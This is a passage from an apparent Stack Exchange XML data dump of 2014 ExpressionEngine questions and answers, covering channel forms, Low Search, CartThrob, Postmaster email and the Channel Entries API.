Not Equals&#xA;  {if:else}&#xA;    Equals&#xA;  {/if}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and found that regardless of which entry I edit, the statement returned &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not Equals&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Upon a bit more playing around, I found that if I add an &lt;code&gt;{author_id}&lt;/code&gt; tag above the &lt;code&gt;{if}...{/if}&lt;/code&gt; statement, it worked properly. It seems that unless I echo the &lt;code&gt;{author_id}&lt;/code&gt; before the comparison, &lt;code&gt;{author_id}&lt;/code&gt; is... blank? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain this?  &lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-04-20T10:35:05.717" Title="Weird If statement behaviour inside channel:form" Tags="|conditionals|channel-form|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21294" PostTypeId="2" ParentId="21252" CreationDate="2014-04-20T10:00:58.087" Score="0" Body="&lt;p&gt;We came across this issue before and used the query module like this to get the total item count.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT SUM(quantity) AS total_items_count FROM exp_cartthrob_order_items WHERE order_id = {entry_id}&quot;}&#xA;{total_items_count}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to use this outside of your &lt;em&gt;order_items&lt;/em&gt; tag pair as it would be in a loop that might not get you the result you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, we never used this in the confirmation email, but in a &lt;em&gt;My Account&lt;/em&gt; page on the site - but this is the query to get the information you want.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-20T10:00:58.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21295" PostTypeId="1" AcceptedAnswerId="21301" CreationDate="2014-04-20T10:33:05.567" Score="1" ViewCount="129" Body="&lt;p&gt;I have a problem in retrieving data from different channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to search all enteries of news to check if its matched. Please tell me how i Can do that. I am writing my code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below code is working for a single channel entry and not for multiple&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;     collection=&quot;news&quot; &#xA;     search_mode=&quot;any&quot;&#xA;     result_page=&quot;news/view&quot;}&#xA;     &amp;lt;div id=&quot;txthint&quot;&amp;gt;dqwdqq&amp;lt;/div&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; class=&quot;search-query input-small&quot; name=&quot;search:title&quot;  id=&quot;search:title&quot; &amp;gt;&#xA;{/exp:low_search:form}&#xA;&#xA;{exp:low_search:results &#xA;    query=&quot;{segment_3}&quot; &#xA;    limit=&quot;10&quot;}&#xA;    {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;    {if no_results}Geen resultaten gevonden{/if}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2996" LastEditorUserId="422" LastEditDate="2014-04-20T10:35:52.527" LastActivityDate="2014-04-20T14:40:25.697" Title="Low search to implement multiple channel entries" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21296" PostTypeId="2" ParentId="21293" CreationDate="2014-04-20T10:35:05.717" Score="1" Body="&lt;p&gt;That sounds like expected behaviour. If you're using &lt;code&gt;{author_id}&lt;/code&gt; in the context of a Channel Form then it is to &lt;em&gt;submit&lt;/em&gt; and entry into ExpressionEngine. Therefore until you do make a submission the form has no &lt;code&gt;author_id&lt;/code&gt; even though the entry does. It's a little different to the Channel Entries tag in that respect as that's just retrieving an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By outputting &lt;code&gt;{author_id}&lt;/code&gt; before the conditional in the same template you're effectively setting a value to be compared. You could get around this by simply setting the &lt;code&gt;author_id&lt;/code&gt; as a hidden input above the conditional in a similar way as you're doing now, or you could pass it in as an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html#embed-variables-for-the-embedded-template&quot; rel=&quot;nofollow&quot;&gt;embed variable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at what you're trying to achieve however, you could just look to include the  &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#author-only&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;author_only=&quot;yes&quot;&lt;/code&gt; parameter&lt;/a&gt; to the Channel Form along with a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#return&quot; rel=&quot;nofollow&quot;&gt;return parameter&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;my_channel&quot; entry_id=&quot;{segment_3}&quot; author_only=&quot;yes&quot; return=&quot;template_group/template/ENTRY_ID&quot;}&#xA;&#xA;    ...&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would then ensure that only the author of the entry can edit it and would fall back to the system Message Pages if the user isn't authorised. &lt;em&gt;You can then style or control those how you choose but that's another question in itself. :)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-20T10:35:05.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21297" PostTypeId="2" ParentId="21288" CreationDate="2014-04-20T10:53:08.637" Score="3" Body="&lt;p&gt;You can temporarily disable ALL addons by adding this to your config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should allow you to access the Control Panel and then attempt to delete Cartthrob from there (if you're sure you don't want to delete all your sales data!). If that fails then look in the &lt;code&gt;exp_modules&lt;/code&gt; and &lt;code&gt;exp_extensions&lt;/code&gt; tables in the database and delete any and all entries for Cartthrob in there (as Cartthrob comprises of both a Module and an Extension). This will effectively delete Cartthrob and you should be able to load up your Control Panel and allow all other extensions in your config.php file again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;exp_cartthrob_x&lt;/code&gt; tables will still remain in the database but you can delete these if you're absolutely sure you don't want any of your ecommerce data. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-20T10:53:08.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21298" PostTypeId="2" ParentId="21246" CreationDate="2014-04-20T12:55:39.597" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html#form-fields&quot; rel=&quot;nofollow&quot;&gt;Email Contact Form&lt;/a&gt; doesn't support custom fields other than the defaults of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From&lt;/li&gt;&#xA;&lt;li&gt;To&lt;/li&gt;&#xA;&lt;li&gt;Subject&lt;/li&gt;&#xA;&lt;li&gt;Name&lt;/li&gt;&#xA;&lt;li&gt;Message&lt;/li&gt;&#xA;&lt;li&gt;Captcha&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By the looks of your example you're looking to include a lot more than that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Solspace Freeform&lt;/a&gt; is a popular option but there are other notable options which may be a better fit for your needs including &lt;a href=&quot;http://www.devdemon.com/forms/&quot; rel=&quot;nofollow&quot;&gt;DevDemon Forms&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;ProForm&lt;/a&gt;. They're certainly worth investigating and generally with the power of these addons and the FreeForm being...well...free, the default Email Contact Form is something which I don't see used very often. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-20T12:55:39.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21299" PostTypeId="2" ParentId="21286" CreationDate="2014-04-20T13:00:19.733" Score="0" Body="&lt;p&gt;You could do that kind of archive using &lt;code&gt;stash&lt;/code&gt; &lt;code&gt;match&lt;/code&gt; and &lt;code&gt;against&lt;/code&gt; parameters and pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the example here: &lt;a href=&quot;https://gist.github.com/croxton/6219973&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/6219973&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-20T13:00:19.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21300" PostTypeId="2" ParentId="21286" CreationDate="2014-04-20T14:34:32.627" Score="3" Body="&lt;p&gt;Actually, &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives&quot; rel=&quot;nofollow&quot;&gt;Low Yearly Archives&lt;/a&gt; should work for you, in combination with the native channel:entries tag. If you don't use the &lt;code&gt;{months}{/months}&lt;/code&gt; variable pair to output the months, but just use the years to link to something like &lt;code&gt;/such/obsessive/distractions/2014&lt;/code&gt;, then you could simply use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#year-month-day&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;year=&quot;&quot;&lt;/code&gt; parameter&lt;/a&gt; to output entries for that year.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-04-20T14:34:32.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21301" PostTypeId="2" ParentId="21295" CreationDate="2014-04-20T14:40:25.697" Score="2" Body="&lt;p&gt;Low Search's Form tag doesn't take any filter parameters, at least &lt;a href=&quot;http://gotolow.com/addons/low-search/docs#to-3.0&quot; rel=&quot;nofollow&quot;&gt;not since v3&lt;/a&gt;. You're defining 2 filter parameters (&lt;code&gt;collection&lt;/code&gt; and &lt;code&gt;search_mode&lt;/code&gt;) on the Form tag, but you should add these parameters to the Results tag or add them as (hidden) input fields in side the Form tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd recommend using &lt;code&gt;name=&quot;keywords&quot;&lt;/code&gt; (utilizing the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;) instead of &lt;code&gt;name=&quot;search:title&quot;&lt;/code&gt; (which is the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-04-20T14:40:25.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21302" PostTypeId="2" ParentId="13127" CreationDate="2014-04-20T16:58:51.433" Score="0" Body="&lt;p&gt;I am using the add-on &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha&lt;/a&gt;, 14 US$. The user has to type nothing, it uses the honeypot-principle and generates a invisible field; spambots trying to fill out this field are blocked.&#xA;It blocks literally 100-thousands of spam-attempts on my site, every some weeks one gets through. I could highly recommend this one.&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-20T16:58:51.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21303" PostTypeId="1" AcceptedAnswerId="21342" CreationDate="2014-04-20T17:12:40.500" Score="0" ViewCount="134" Body="&lt;p&gt;I got this problem: My entries are rated (star-rating, just submits a value between 1 and 5). Now I want to show on a single-entry-pages the top-rated entries of the category the actual entry is in.&#xA;Example:&#xA;We are on entry-page &quot;Snoopy&quot; which is filed in the category &quot;dogs&quot;. I want a list like&#xA;&quot;Best rated entries in dogs:&#xA;- Snoopy xxxxx&#xA;- Other dogs xxx&#xA;- My dog xx&#xA;- My mother's dog xx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried for hours and hours, but with no success. Perhaps anybody could give me a hint what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a lot of code snippets that all don't work, here is one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;&quot;&amp;gt;&#xA;{exp:rating:rank channel=&quot;{my_channel}&quot; limit=&quot;3&quot; category = &quot;2&quot; dynamic=&quot;no&quot;} &#xA; {exp:rating:stats}             &#xA;  &amp;lt;li&amp;gt;&#xA;   {title} - {overall_avg}&#xA;  &amp;lt;/li&amp;gt;&#xA; {/exp:rating:stats}&#xA;{/exp:rating:rank} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one just shows me nothing. If I remove the exp-rating-stats-loop it only shows me 3 times the actual entry.&#xA;I would appreciate any help very much - thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: FURTHER EXAMPLES&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples: In an empty template this generates the correct output, 5 entries with their titles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:rank category=&quot;24&quot; limit=&quot;5&quot;}&#xA;{title}&#xA;{/exp:rating:rank}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while in my standard-template there is no output. When I add the parameter dynamic=&quot;no&quot; I get the entry of the page I am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: EXP:CHANNEL:ENTRIES-LOOP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put it OUTSIDE the exp:channel:entries-loop, it works. My loop is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{snp_my_channel}&quot; limit=&quot;1&quot;&#xA;disable=&quot;member_data|trackbacks|pagination&quot; track_views=&quot;two&quot;&#xA;status=&quot;open&quot; cache=&quot;no&quot; refresh=&quot;2500&quot;&#xA;require_entry=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need it inside the loop. Is there perhaps any parameter missing?&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="780" LastEditDate="2014-04-21T06:51:22.643" LastActivityDate="2014-04-22T09:41:46.817" Title="List of highest rated entries in Solspace Rating" Tags="|solspace|solspace-rating|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21304" PostTypeId="2" ParentId="21303" CreationDate="2014-04-20T19:05:59.273" Score="-1" Body="&lt;p&gt;Perhaps it miss the entry id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:stats entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or could be a parsing problem:&#xA;try to insert: parse=&quot;inward&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:rank channel=&quot;{my_channel}&quot; limit=&quot;3&quot; category = &quot;2&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-20T19:05:59.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21305" PostTypeId="1" CreationDate="2014-04-20T21:30:25.623" Score="1" ViewCount="172" Body="&lt;p&gt;My store has worked fine for me for the past several months using Paypal Express, then recently I started getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Guzzle\Http\Exception\CurlException' with message '[curl] 60: SSL certificate problem, verify that the CA cert is OK.&#xA;Details: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed [url] https://api-3t.paypal.com/nvp?METHOD=SetExpressCheckout&amp;amp;VERSION=85.0&amp;amp;USER=****&amp;amp;PWD=****&amp;amp;SIGNATURE=****&amp;amp;PAYMENTREQUEST_0_PAYMENTACTION=Authorization&amp;amp;PAYMENTREQUEST_0_AMT=25.00&amp;amp;PAYMENTREQUEST_0_CURRENCYCODE=USD&amp;amp;PAYMENTREQUEST_0_INVNUM=28&amp;amp;PAYMENTREQUEST_0_DESC=Order%20%2323&amp;amp;PAYMENTREQUEST_0_NOTIFYURL=https%3A%2F%2F****%2F%3FACT%3D42%26H%3Ded76259ef4afa5448b4a01476cc76f98&amp;amp;SOLUTIONTYPE=Sole&amp;amp;LANDINGPAGE=Billing&amp;amp;RETURNURL=https%3A%2F%2F****%2F%3FACT%3D42%26H%3Ded76259ef4afa5448b4a01476cc76f98&amp;amp;CANCELURL=https%3A%2F%2F****&amp;amp;HDRIMG=&amp;amp;BRANDNAME=&amp;amp;NOSHIPPING=1&amp;amp;ALLOWNOTE=0&amp;amp;PAYMENTREQUEST_0_SHIPTONAME=****&amp;amp;PAYMENTREQUEST in /home/****/system/expressionengine/third_party/store/vendor/guzzle/http/Guzzle/Http/Curl/CurlMulti.php on line 338&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(****)to signify sensitive data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get it to work again?&lt;/p&gt;&#xA;" OwnerUserId="2997" LastEditorUserId="150" LastEditDate="2014-04-21T02:22:36.663" LastActivityDate="2014-04-21T02:22:36.663" Title="Exp-resso Store SSL error" Tags="|expresso-store|php|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21307" PostTypeId="2" ParentId="21291" CreationDate="2014-04-20T22:58:03.117" Score="1" Body="&lt;p&gt;&lt;strong&gt;FYI:&lt;/strong&gt; pushed by the need to keep using Matrix &amp;amp; Playa and not having to deal with the ugliness of the native Grid &amp;amp; Relationships fields (what were they thinking?) I resolved this issue by separating the Matrix and Playa fields into another template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convinced that these issues are caused by too many different jQuery calls and sequencing these correctly might resolve these issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Profile page will require a small UI change, adding some sub navigation to the second template.&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-04-20T22:58:03.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21310" PostTypeId="2" ParentId="21286" CreationDate="2014-04-21T06:47:49.780" Score="0" Body="&lt;p&gt;You can filter entries by using a year in the URL: mysite.com/archives/2012&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my channel&quot; year=&quot;{segment_2}&quot;}&#xA;// show all entries from year in URL&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the documentation: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id68&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id68&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-04-21T06:47:49.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21311" PostTypeId="1" AcceptedAnswerId="21336" CreationDate="2014-04-21T07:16:37.680" Score="0" ViewCount="1107" Body="&lt;p&gt;I've looked at the EE Channel Entries API docs, but the save_entry function does not seem to actually update an existing entry, but rather saves a new new entry over it.  This seems to be the case as any fields not specified in the $data array get wiped out and the entry_date is changed to the date the update was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to simply edit/update an entry without the entry_date being changed, yet still triggering the edit notice in the EE system?  I am able to update single fields using the codeigniter db class, but doing it this way does not trigger EE's system to notice that the entry has been edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason I want to do this is to use Postmaster's email trigger on entry edit, but doing a manual db update will not trigger this.  My plugin code for the channel entries API update is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&#xA;$data = array(&#xA;     'title' =&amp;gt; $some_title,&#xA;     'url_title' =&amp;gt; $some_url_title,&#xA;     'field_id_17' =&amp;gt; $some_variable,&#xA;);&#xA;&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, 4, $entry_id, FALSE);&#xA;&#xA;/*&#xA; * The number 4 in the parameters is the channel_id number where the entry is stored.&#xA; * I have also tried using NULL in place of 4 but it then throws an error saying&#xA; * I'm missing an API parameter.&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also not mind it if I could just use the codeigniter db class to update the entries, then somehow tell the EE system that the entry has been updated.  Is this sort of thing possible?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-22T03:22:39.187" Title="How do I update or edit an entry using the Channel Entries API save_entry function?" Tags="|plugin|postmaster|update|channel-entries-api|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21313" PostTypeId="2" ParentId="20204" CreationDate="2014-04-21T07:48:32.677" Score="4" Body="&lt;p&gt;This is a pretty late answer, and you likely already figured it out, but the $data array should use the database 'field_id_#' as the array key.  So if the field id of your custom field 'foo' is 5, for example, then your data array would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array (&#xA;    'title' =&amp;gt; 'bar',&#xA;    'url_title' =&amp;gt; 'bar',&#xA;    'field_id_5' =&amp;gt; 'bar',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-21T07:48:32.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21314" PostTypeId="1" CreationDate="2014-04-21T13:46:43.037" Score="0" ViewCount="394" Body="&lt;p&gt;trying to load the Disqus module and get this error:&#xA;Fatal error: Call to undefined method Cp::set_variable() &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone else experiencing this issue?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-04-23T17:48:22.300" Title="Disqus error: Fatal error: Call to undefined method Cp::set_variable()" Tags="|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21315" PostTypeId="1" AcceptedAnswerId="21319" CreationDate="2014-04-21T14:22:07.100" Score="0" ViewCount="157" Body="&lt;p&gt;I have looked at the Postmaster docs, other questions on ee.stackexchange, and the Postmaster support forums at devot:ee, but have not seen an answer for these two.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can Postmaster send a multi-part MIME message with HTML and plaintext via the expressionengine mail service?  If so, how?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it can not send both HTML and plaintext in a single email, when sending in plaintext do I need to specify \r\n in the parcel code for linebreaks?  Is the preview pane supposed to show plaintext linebreaks, or does it only parse html?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My preference settings for sending text email in the parcel editor look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mail Type:&lt;/strong&gt; Text &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Protocol:&lt;/strong&gt; Mail&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Character Set:&lt;/strong&gt; UTF-8&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CRLF:&lt;/strong&gt; \r\n&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Newline:&lt;/strong&gt; \r\n&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If have tried the following variations in the parcel editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dear {screen_name},&#xA;blahblahblah&#xA;&#xA;Dear {screen_name},\r\n&#xA;blahblahblah&#xA;&#xA;Dear {screen_name},&quot;\r\n&quot;&#xA;blahblahblah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of the above combinations show a linebreak in the preview window.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-21T18:15:30.213" Title="Postmaster: Can we send HTML &amp; Text in one email using multi-part MIME? If not, how do we line break in plain text?" Tags="|postmaster|html-email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21316" PostTypeId="1" AcceptedAnswerId="21367" CreationDate="2014-04-21T15:00:28.853" Score="0" ViewCount="62" Body="&lt;p&gt;I'm trying to figure out something I thought would be fairly easy and straight forward, but I'm having a difficult time trying to figure this out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoo Triggers says: &quot;Filter tags from the url support DevDeamon Tagger&quot; - I appear to have everything in place and installed correctly.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Zoo Triggers 1.2.2&lt;/li&gt;&#xA;&lt;li&gt;Tagger 3.2.1&lt;/li&gt;&#xA;&lt;li&gt;EE 2.7.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of different things, I can get the tags to output, but I try to use the same syntax with Zoo Triggers Tags as I have with Archives and I get thrown and error:&#xA;Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following tag cannot be processed:&#xA;{exp:zoo_triggers:tag}&#xA;Please check that the ‘zoo_triggers’ module is installed and that ‘tag’ is an available method of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm trying to do exactly what devot-ee is doing at the bottom of the left column when looking at an add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight on how to do this would be invaluable. Thanks all!&lt;/p&gt;&#xA;" OwnerUserId="868" LastActivityDate="2014-04-23T07:48:24.450" Title="Creating links to Tagger tags with Zoo Triggers" Tags="|devdemon|zoo-triggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21317" PostTypeId="1" AcceptedAnswerId="21609" CreationDate="2014-04-21T16:47:02.053" Score="1" ViewCount="50" Body="&lt;p&gt;I am running playa 4.4.5 and expression engine 2.8.1.  In my entries, when I try to search and filter entries in playa, no results will display with the ajax instead it is going to index.php?/cp/content_publish/entry_form?channel_id=7&amp;amp;entry_id=8539&amp;amp;&amp;amp;filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjciO30= .  Which is all blank.  Can anyone help me here? Thanks&lt;/p&gt;&#xA;" OwnerUserId="2999" LastActivityDate="2014-10-28T20:55:04.317" Title="Playa Search Filter Goes to Blank Screen" Tags="|playa|search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21318" PostTypeId="2" ParentId="21311" CreationDate="2014-04-21T18:05:02.843" Score="1" Body="&lt;p&gt;I know it seems redundant, but in the Channel Entries API you need to pass the entry_id in the data array. EE looks to that array to determine if the entry is being edit correctly (as far as the hooks go). I have tested this and confirmed it a while back, so I assume it's still true. Without the entry_id in the data array, the entry should get updated but in the hooks there is no way to tell if the entry is being edited without the entry_id passed in the array. If you look through the EE core, I believe this is what they do as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&#xA;$data = array(&#xA;    'entry_id' =&amp;gt; $entry_id,&#xA;    'title' =&amp;gt; $some_title,&#xA;    'url_title' =&amp;gt; $some_url_title,&#xA;    'field_id_17' =&amp;gt; $some_variable,&#xA;);&#xA;&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, 4, $entry_id, FALSE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to further confirm... You need to pass all the values in the data array or they will get wiped out as you suggested. This is really limiting of the Channel Entries API and should be updated. If you want a robust example of how I integrate with the Channel Entries API, take a look at the new version of Channel Data. &lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Channel-Data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-04-21T18:05:02.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
